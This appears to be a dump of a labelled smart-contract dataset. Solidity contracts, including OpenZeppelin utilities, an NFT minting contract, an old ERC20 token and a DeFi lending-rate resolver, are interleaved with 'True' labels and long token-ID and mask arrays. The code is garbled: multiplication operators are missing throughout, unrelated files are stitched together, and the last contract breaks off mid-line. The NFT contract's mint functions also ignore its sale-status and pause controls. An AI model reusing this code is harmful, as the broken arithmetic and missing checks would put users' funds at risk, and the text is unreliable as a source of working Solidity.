https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // PaymentSplitter.sol pragma solidity ^0.8.0; /* * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. / contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /* * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. / constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /* * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. / receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /* * @dev Getter for the total shares held by payees. / function totalShares() public view returns (uint256) { return _totalShares; } /* * @dev Getter for the total amount of Ether already released. / function totalReleased() public view returns (uint256) { return _totalReleased; } /* * @dev Getter for the amount of shares held by an account. / function shares(address account) public view returns (uint256) { return _shares[account]; } /* * @dev Getter for the amount of Ether already released to a payee. / function released(address account) public view returns (uint256) { return _released[account]; } /* * @dev Getter for the address of the payee number `index`. / function payee(uint256 index) public view returns (address) { return _payees[index]; } /* * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. / function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. / function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // Pausable.sol pragma solidity ^0.8.0; /* * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. / abstract contract Pausable is Context { /* * @dev Emitted when the pause is triggered by `account`. / event Paused(address account); /* * @dev Emitted when the pause is lifted by `account`. / event Unpaused(address account); bool private _paused; /* * @dev Initializes the contract in unpaused state. / constructor() { _paused = false; } /* * @dev Returns true if the contract is paused, and false otherwise. / function paused() public view virtual returns (bool) { return _paused; } /* * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. / modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /* * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. / modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /* * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. / function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /* * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. / function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // Strings.sol pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // ZukiApeYachtClub.sol pragma solidity ^0.8.10; contract ZukiApeYachtClub is ERC721Enum, Ownable, Pausable, ReentrancyGuard { using Strings for uint256; string public baseURI; uint256 private maxSupply = 8888; uint256 public cost = 0.0088 ether; uint256 public maxFree = 1000; uint256 public nftPerAddressLimit = 10; bool public status = false; mapping(address => uint256) public addressMintedBalance; constructor() ERC721S("Zuki Ape Yacht Club", "ZukiApeYachtClub"){ setBaseURI(""); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function mintfree(uint256 _mintAmount) public payable nonReentrant{ uint256 a = totalSupply(); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 2, "Cant mint more then maxmint" ); require(a + _mintAmount <= maxFree, "Cant go over supply" ); for (uint256 i = 0; i < _mintAmount; ++i) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, a + i, ""); } delete a; } function mint(uint256 _mintAmount) public payable nonReentrant{ uint256 a = totalSupply(); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 20, "Cant mint more then maxmint" ); require(a + _mintAmount <= maxSupply, "Cant go over supply" ); require(msg.value >= cost _mintAmount); for (uint256 i = 0; i < _mintAmount; ++i) { _safeMint(msg.sender, a + i, ""); } delete a; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : ""; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setmaxFree(uint256 _newMaxFree) public onlyOwner { maxFree = _newMaxFree; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setSaleStatus(bool _status) public onlyOwner { status = _status; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 6021, 1008, 1013, 1013, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 11998, 2011, 2500, 1006, 1063, 9413, 2278, 16048, 2629, 5403, 9102, 1065, 1007, 1012, 1008, 1008, 2005, 2019, 7375, 1010, 2156, 1063, 9413, 2278, 16048, 2629, 1065, 1012, 1008, 1013, 8278, 29464, 11890, 16048, 2629, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 2023, 3206, 22164, 1996, 8278, 4225, 2011, 1008, 1036, 8278, 3593, 1036, 1012, 2156, 1996, 7978, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1001, 2129, 1011, 19706, 1011, 2024, 1011, 4453, 1031, 1041, 11514, 2930, 1033, 1008, 2000, 4553, 2062, 2055, 2129, 2122, 8909, 2015, 2024, 2580, 1012, 1008, 1008, 2023, 3853, 2655, 2442, 2224, 2625, 2084, 2382, 2199, 3806, 1012, 1008, 1013, 3853, 6753, 18447, 2121, 12172, 1006, 27507, 2549, 8278, 3593, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 1013, 1013, 9413, 2278, 16048, 2629, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 7375, 1997, 1996, 1063, 29464, 11890, 16048, 2629, 1065, 8278, 1012, 1008, 1008, 8311, 2008, 2215, 2000, 10408, 9413, 2278, 16048, 2629, 2323, 22490, 2013, 2023, 3206, 1998, 2058, 15637, 1063, 6753, 18447, 2121, 12172, 1065, 2000, 4638, 1008, 2005, 1996, 3176, 8278, 8909, 2008, 2097, 2022, 3569, 1012, 2005, 2742, 1024, 1008, 1008, 1036, 1036, 1036, 5024, 3012, 1008, 3853, 6753, 18447, 2121, 12172, 1006, 27507, 2549, 8278, 3593, 1007, 2270, 3193, 7484, 2058, 15637, 5651, 1006, 22017, 2140, 1007, 1063, 1008, 2709, 8278, 3593, 1027, 1027, 2828, 1006, 2026, 18447, 2121, 12172, 1007, 1012, 8278, 3593, 1064, 1064, 3565, 1012, 6753, 18447, 2121, 12172, 1006, 8278, 3593, 1007, 1025, 1008, 1065, 1008, 1036, 1036, 1036, 1008, 1008, 14084, 1010, 1063, 9413, 2278, 16048, 2629, 23809, 4270, 1065, 3640, 2019, 6082, 2000, 2224, 2021, 2062, 6450, 7375, 1012, 1008, 1013, 10061, 3206, 9413, 2278, 16048, 2629, 2003, 29464, 11890, 16048, 2629, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 2156, 1063, 29464, 11890, 16048, 2629, 1011, 6753, 18447, 2121, 12172, 1065, 1012, 1008, 1013, 3853, 6753, 18447, 2121, 12172, 1006, 27507, 2549, 8278, 3593, 1007, 2270, 3193, 7484, 2058, 15637, 5651, 1006, 22017, 2140, 1007, 1063, 2709, 8278, 3593, 1027, 1027, 2828, 1006, 29464, 11890, 16048, 2629, 1007, 1012, 8278, 3593, 1025, 1065, 1065, 1013, 1013, 29464, 11890, 2581, 17465, 1012, 14017, 10975, 8490, 2863, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract / function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply 10 uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } / * Internal transfer, only can be called by this contract / function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send / function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send / function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend / function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn / function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /* * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 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/** Submitted for verification at Etherscan.io on 2021-05-29 / pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; interface CTokenInterface { function underlying() external view returns (address); } interface TokenInterface { function balanceOf(address) external view returns (uint); function decimals() external view returns (uint); } interface OrcaleComp { function getUnderlyingPrice(address) external view returns (uint); } interface ComptrollerLensInterface { function markets(address) external view returns (bool, uint, bool); } interface InstaMapping { function cTokenMapping(address) external view returns (address); } interface ChainLinkInterface { function latestAnswer() external view returns (int256); function decimals() external view returns (uint256); } interface AaveInterface { function getReserveConfigurationData(address _reserve) external view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address interestRateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); } interface AaveV2Interface { function getReserveConfigurationData(address asset) external view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ); } interface AaveProviderInterface { function getLendingPool() external view returns (address); function getLendingPoolCore() external view returns (address); function getPriceOracle() external view returns (address); } interface AavePriceInterface { function getAssetPrice(address _asset) external view returns (uint256); } interface AaveCoreInterface { function getReserveCurrentLiquidityRate(address _reserve) external view returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) external view returns (uint256); function getReserveATokenAddress(address _reserve) external view returns (address); } interface VatLike { function ilks(bytes32) external view returns (uint, uint, uint, uint, uint); function dai(address) external view returns (uint); function urns(bytes32, address) external view returns (uint, uint); function gem(bytes32, address) external view returns (uint); } interface SpotLike { function ilks(bytes32) external view returns (PipLike, uint); } interface PipLike { function peek() external view returns (bytes32, bool); } interface InstaMcdAddress { function manager() external view returns (address); function vat() external view returns (address); function jug() external view returns (address); function spot() external view returns (address); function pot() external view returns (address); function getCdps() external view returns (address); } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "math-not-safe"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 \|\| (z = x * y) / y == x, "math-not-safe"); } uint constant WAD = 10 18; uint constant RAY = 10 27; function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } } contract Helper is DSMath { /** * @dev Return ethereum address / function getEthAddress() internal pure returns (address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address } /* * @dev Return WTH address / function getWethAddress() internal pure returns (address) { return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH Address mainnet } /* * @dev Return eth price feed address / function getEthPriceFeed() internal pure returns (address) { return 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // mainnet } } contract CompoundHelpers is Helper { /* * @dev get Compound Comptroller / function getComptroller() public pure returns (ComptrollerLensInterface) { return ComptrollerLensInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); // mainnet } /* * @dev get Compound Open Feed Oracle Address / function getOracleAddress() public pure returns (address) { return 0x922018674c12a7F0D394ebEEf9B58F186CdE13c1; } /* * @dev get ETH Address / function getCETHAddress() public pure returns (address) { return 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; } /* * @dev Return InstaDApp Mapping Addresses / function getMappingAddr() internal pure returns (address) { return 0xe81F70Cc7C0D46e12d70efc60607F16bbD617E88; // InstaMapping Address } struct CompData { uint tokenPriceInEth; uint tokenPriceInUsd; } } contract CompoundResolver is CompoundHelpers { function getCompPrice(CTokenInterface cToken) public view returns (uint tokenPrice, uint ethPrice) { uint decimals = getCETHAddress() == address(cToken) ? 18 : TokenInterface(cToken.underlying()).decimals(); uint price = OrcaleComp(getOracleAddress()).getUnderlyingPrice(address(cToken)); ethPrice = OrcaleComp(getOracleAddress()).getUnderlyingPrice(getCETHAddress()); tokenPrice = price / 10 * (18 - decimals); } function getCompoundData(address token, uint ethAmount) public view returns (uint) { address cTokenAddr = InstaMapping(getMappingAddr()).cTokenMapping(token); if (cTokenAddr == address(0)) return 0; ComptrollerLensInterface comptroller = getComptroller(); (, uint cf, ) = comptroller.markets(getCETHAddress()); CTokenInterface cToken = CTokenInterface(cTokenAddr); (uint tokenPrice, uint ethPrice) = getCompPrice(cToken); uint ethColl = wmul(ethAmount, ethPrice); ethColl = wmul(ethColl, sub(cf, 1016)); uint debtCanBorrow = wdiv(ethColl, tokenPrice); return debtCanBorrow; } } contract AaveHelpers is CompoundResolver { / * @dev get Aave Provider Address / function getAaveProviderAddress() internal pure returns (address) { return 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; //mainnet } struct AaveTokenData { uint ltv; uint threshold; bool usageAsCollEnabled; bool borrowEnabled; bool stableBorrowEnabled; bool isActive; } function collateralData(AaveInterface aave, address token) internal view returns(AaveTokenData memory) { AaveTokenData memory aaveTokenData; ( aaveTokenData.ltv, aaveTokenData.threshold, , , aaveTokenData.usageAsCollEnabled, aaveTokenData.borrowEnabled, aaveTokenData.stableBorrowEnabled, aaveTokenData.isActive ) = aave.getReserveConfigurationData(token); return aaveTokenData; } function getAavePrices(AaveProviderInterface AaveProvider, address token) public view returns(uint tokenPrice, uint ethPrice) { uint tokenPriceInETH = AavePriceInterface(AaveProvider.getPriceOracle()).getAssetPrice(token); uint ethPriceDecimals = ChainLinkInterface(getEthPriceFeed()).decimals(); ethPrice = uint(ChainLinkInterface(getEthPriceFeed()).latestAnswer()); ethPrice = ethPrice (10 ** (18 - ethPriceDecimals)); tokenPrice = wmul(tokenPriceInETH, ethPrice); } function getAaveData(address token, uint ethAmount) public view returns (uint) { AaveProviderInterface AaveProvider = AaveProviderInterface(getAaveProviderAddress()); AaveInterface aave = AaveInterface(AaveProvider.getLendingPool()); AaveCoreInterface aaveCore = AaveCoreInterface(AaveProvider.getLendingPoolCore()); if (aaveCore.getReserveATokenAddress(token) == address(0)) return 0; AaveTokenData memory aaveToken = collateralData(aave, token); AaveTokenData memory aaveEthToken = collateralData(aave, getEthAddress()); if (!aaveToken.borrowEnabled) return 0; (uint tokenPrice, uint ethPrice) = getAavePrices(AaveProvider, token); uint ethColl = wmul(ethAmount, ethPrice); uint cf = sub(aaveEthToken.ltv, 1) * (10 16); ethColl = wmul(ethColl, cf); uint debtCanBorrow = wdiv(ethColl, tokenPrice); return debtCanBorrow; } } contract AaveV2Helpers is AaveHelpers { / * @dev get Aave Provider Address / function getAaveV2ProviderAddress() internal pure returns (address) { return 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5; //mainnet } function collateralData(AaveV2Interface aave, address token) internal view returns(AaveTokenData memory) { AaveTokenData memory aaveTokenData; ( , aaveTokenData.ltv, aaveTokenData.threshold, , , aaveTokenData.usageAsCollEnabled, aaveTokenData.borrowEnabled, aaveTokenData.stableBorrowEnabled, aaveTokenData.isActive , ) = aave.getReserveConfigurationData(token); return aaveTokenData; } function getAaveV2Prices(AaveProviderInterface AaveProvider, address token) public view returns(uint tokenPrice, uint ethPrice) { uint tokenPriceInETH = AavePriceInterface(AaveProvider.getPriceOracle()).getAssetPrice(token); uint ethPriceDecimals = ChainLinkInterface(getEthPriceFeed()).decimals(); ethPrice = uint(ChainLinkInterface(getEthPriceFeed()).latestAnswer()); ethPrice = ethPrice (10 ** (18 - ethPriceDecimals)); tokenPrice = wmul(tokenPriceInETH, ethPrice); } function getAaveV2Data(address token, uint ethAmount) public view returns (uint) { AaveProviderInterface AaveProvider = AaveProviderInterface(getAaveV2ProviderAddress()); AaveV2Interface aave = AaveV2Interface(AaveProvider.getLendingPool()); AaveCoreInterface aaveCore = AaveCoreInterface(AaveProvider.getLendingPoolCore()); if (aaveCore.getReserveATokenAddress(token) == address(0)) return 0; AaveTokenData memory aaveToken = collateralData(aave, token); AaveTokenData memory aaveEthToken = collateralData(aave, getEthAddress()); if (!aaveToken.borrowEnabled) return 0; (uint tokenPrice, uint ethPrice) = getAaveV2Prices(AaveProvider, token); uint ethColl = wmul(ethAmount, ethPrice); uint cf = sub(aaveEthToken.ltv, 1) * (10 16); ethColl = wmul(ethColl, cf); uint debtCanBorrow = wdiv(ethColl, tokenPrice); return debtCanBorrow; } } contract MakerHelpers is AaveV2Helpers { / * @dev get MakerDAO MCD Address contract / function getMcdAddresses() public pure returns (address) { return 0xF23196DF1C440345DE07feFbe556a5eF0dcD29F0; } /* * @dev get Dai address / function getDaiAddress() public pure returns (address) { return 0x6B175474E89094C44Da98b954EedeAC495271d0F; } /* * @dev Convert String to bytes32. / function stringToBytes32(string memory str) internal pure returns (bytes32 result) { require(bytes(str).length != 0, "String-Empty"); // solium-disable-next-line security/no-inline-assembly assembly { result := mload(add(str, 32)) } } function getColPrice(bytes32 ilk) internal view returns (uint price) { address spot = InstaMcdAddress(getMcdAddresses()).spot(); address vat = InstaMcdAddress(getMcdAddresses()).vat(); (, uint mat) = SpotLike(spot).ilks(ilk); (,,uint spotPrice,,) = VatLike(vat).ilks(ilk); price = rmul(mat, spotPrice); } function getColRatio(bytes32 ilk) internal view returns (uint ratio) { address spot = InstaMcdAddress(getMcdAddresses()).spot(); (, ratio) = SpotLike(spot).ilks(ilk); ratio = rdiv(RAY, ratio); } } contract MakerResolver is MakerHelpers { function getMakerData(address token, uint ethAmt) public view returns (uint) { if (token != getDaiAddress()) return 0; bytes32 ilk = stringToBytes32("ETH-A"); uint ethPrice = getColPrice(ilk); ethPrice = ethPrice / 10 * 9; uint cf = getColRatio(ilk) / 10 9; uint ethColl = wmul(ethAmt, ethPrice); ethColl = wmul(ethColl, cf); uint 